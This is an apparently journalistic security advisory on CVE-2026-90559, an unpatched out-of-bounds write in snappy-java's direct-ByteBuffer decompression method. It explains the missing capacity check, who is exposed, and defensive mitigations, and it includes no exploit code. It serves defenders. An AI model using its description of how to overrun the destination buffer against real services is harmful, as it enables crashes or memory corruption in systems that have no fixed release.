A 7.5 out-of-bounds write lands on the one snappy-java decompression call that makes the caller size the output buffer — and the newest artifact on Maven Central, published in July 2025, is the top of the affected range.
What happened
On September 12, 2026, at 6:16 p.m. UTC, VulnCheck published CVE-2026-90559 against snappy-java, the JNI binding that most of the JVM world uses for Snappy compression. The record carries a CVSS v3.1 base score of 7.5 with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, a CVSS v4.0 score of 8.7, and CWE-787, out-of-bounds write. Both scores come from [email protected].
The description is one sentence: “snappy-java through 1.1.10.8 contains an out-of-bounds write vulnerability in Snappy.uncompress(ByteBuffer, ByteBuffer) because destination buffer capacity is never validated against decompressed size.”
The affected range runs from version 0 through 1.1.10.8. No fixed version is named. The reference list contains four entries: the repository, a permalink to line 561 of Snappy.java at the v1.1.10.8 tag, GitHub issue #728, titled “Off heap OOB Write in ByteBuffer Uncompress,” and VulnCheck’s own advisory. There is no commit and no release tag among them.
Maven Central’s metadata for org.xerial.snappy:snappy-java gives both <latest> and <release> as 1.1.10.8, with a lastUpdated timestamp of July 19, 2025. The newest artifact anyone can pull is fourteen months old and is the ceiling of the affected range. There is nothing above it to upgrade to.
We read the method on master. Snappy.uncompress(ByteBuffer compressed, ByteBuffer uncompressed) performs exactly two checks: that the input is a direct buffer and that the destination is a direct buffer. It then reads the positions, calls impl.rawUncompress, and sets the destination’s limit to the position plus the returned size. Nothing compares the decompressed size against uncompressed.remaining(). The CVE’s description of the code is accurate.
What the description leaves out is that the method’s own documentation says so. The javadoc above it reads: “Note that if you pass the wrong data or the range [pos(), limit()) that cannot be uncompressed, your JVM might crash due to the access violation exception issued in the native code written in C++. To avoid this type of crash, use {@link #isValidCompressedBuffer(ByteBuffer)} first.”
That mitigation does not cover this case. isValidCompressedBuffer‘s own javadoc reads: “Returns true iff the contents of compressed buffer [pos() … limit()) can be uncompressed successfully. Does not return the uncompressed data.” It answers whether the input is well-formed Snappy. It says nothing about whether the destination is large enough. A perfectly valid compressed buffer that expands to ten megabytes still overruns a one-megabyte destination, and the documented guard returns true on the way in.
The other decompression paths in the same library do size their output. Snappy.uncompress(byte[] input) allocates new byte[Snappy.uncompressedLength(input)] before decompressing — uncompressedLength is an O(1) header read that the library already exposes for exactly this purpose. SnappyInputStream does the same thing twice over, calling uncompressedLength, allocating or growing its buffer, then comparing the actual decompressed length against the expected one and throwing INVALID_CHUNK_SIZE if they differ. And BitShuffle.shuffle, a direct-ByteBuffer method in the same library with the same shape, checks explicitly: if (shuffled.remaining() < uLen) throw new IllegalArgumentException("not enough space for output");
So the flaw is not that snappy-java does not know how to validate a destination buffer. It is that one API leaves the job to the caller, documents that it does, and recommends a guard that does not do it.
CVE-2026-90559 is not in CISA’s Known Exploited Vulnerabilities catalog, published version 2026.09.11, and no exploitation has been reported.
Why it matters
The first thing to establish is who is actually on this path, because the 7.5 and the network attack vector will pull this into a lot of tickets it does not belong in. If your code decompresses through SnappyInputStream, SnappyFramedInputStream, or Snappy.uncompress(byte[]) — which is how the large majority of JVM applications touch Snappy, usually without ever naming the library, because a framework chose it — you are not calling the method this CVE describes, and the library sizes your destination for you. The exposure is specific to code that reaches for the direct-ByteBuffer API and manages its own off-heap destination, which is the performance-minded path taken by storage engines, columnar readers, and network layers that are trying to avoid a copy.
For that code the score is defensible and the consequence is worse than the vector suggests. This is an off-heap write past the end of a direct buffer, performed by native code. The javadoc’s word is “crash,” and a JVM that dies is the good outcome. A:H with C:N/I:N says VulnCheck is claiming availability impact only, which is the conservative read of an out-of-bounds write into native memory, and we have no basis to claim more. The AV:N is doing the work of saying that in the shapes where this API is used, the compressed bytes arrive over a network from somebody else.
The second thing is the release situation, which is where this stops being a routine library advisory. A CVE with an open affected range and no fixed version produces a finding that cannot be closed. Every dependency scanner in an organization will report snappy-java 1.1.10.8 as vulnerable, correctly, and the remediation field will stay empty until the project ships 1.1.10.9. The last release was July 19, 2025. The referenced artifact is an open GitHub issue, not a merged commit.
The contrast inside the same disclosure batch makes the point. VulnCheck published CVE-2026-90560 against zstd-jni at the same minute — an out-of-bounds read in ZstdDictDecompress, 8.2 on v3.1, the same class of missing bounds validation in the same corner of the JVM ecosystem. That record names a fixed version, 1.5.7-14, and its references include both the fix commit and the release tag. Two compression bindings, one researcher batch, one identical remediation question, and one of them has an answer. The difference is not the quality of the disclosure. It is whether a maintainer was in a position to cut a release.
That is the pattern worth carrying out of this. A research organization can now find, score, and publish a bounds-checking defect in a widely embedded library in a single afternoon. The cycle that turns that into something an operator can install runs on volunteer time. When those two clocks are this far out of step, the CVE stops being a remediation instruction and becomes an inventory question instead: not “what do we upgrade,” but “do we call that method at all.”
What to do
Answer the inventory question first. Search your own code, and any first-party library you ship, for Snappy.uncompress( with two ByteBuffer arguments, and for the raw-address variants that take a long. If nothing in your tree calls them, you are not exposed by this CVE, and that belongs in the ticket as the resolution — do not leave it open waiting for a version that may not come.
If you do call it, add the check the library omits before the call: read Snappy.uncompressedLength(compressed), compare it against uncompressed.remaining(), and fail if the destination is short. That is the O(1) header read the array API already uses. Do not rely on isValidCompressedBuffer for this; by its own documentation it validates the input, not the fit.
Separately, upgrade zstd-jni to 1.5.7-14 if you are below it. That one has a release, and it is a different flaw with the same root cause.
If you maintain a scanner policy, consider how it handles an advisory with no fixed version, because you are going to see more of these. A rule that escalates on severity alone will keep this at 7.5 forever on artifacts that are not reachable from your code.
Sourcing note
Checked: the NVD record for CVE-2026-90559, which supplied the description, both CVSS vectors and their source, CWE-787, the affected range, and the reference list; the NVD record for CVE-2026-90560 for the zstd-jni comparison, including its fixed version and references; Maven Central’s maven-metadata.xml for org.xerial.snappy:snappy-java, which supplied the latest and release versions and the July 19, 2025 timestamp; and the shipped source of Snappy.java, SnappyInputStream.java, and BitShuffle.java on master, read via raw.githubusercontent.com, which is where the javadoc quotations, the absence of a capacity check, and the checks present in the other paths were confirmed. The KEV catalog was read from the cisagov/kev-data mirror on GitHub because cisa.gov returns 403 to automated fetching; the version read was 2026.09.11.
Could not reach: GitHub issue #728 in a form that showed the thread. Automated fetches of that page returned advisory text rather than the issue discussion, so the maintainer’s response — whether the report is accepted, disputed, or unanswered — is not established here, and neither is the date it was opened. That is a material gap, and it is the single thing that would most change the picture.
Not verified: which downstream projects embed snappy-java and by which API. The scope discussion above is based on what the library’s own code does in each path, not on an audit of dependents. Unresolved: whether a 1.1.10.9 release is planned.
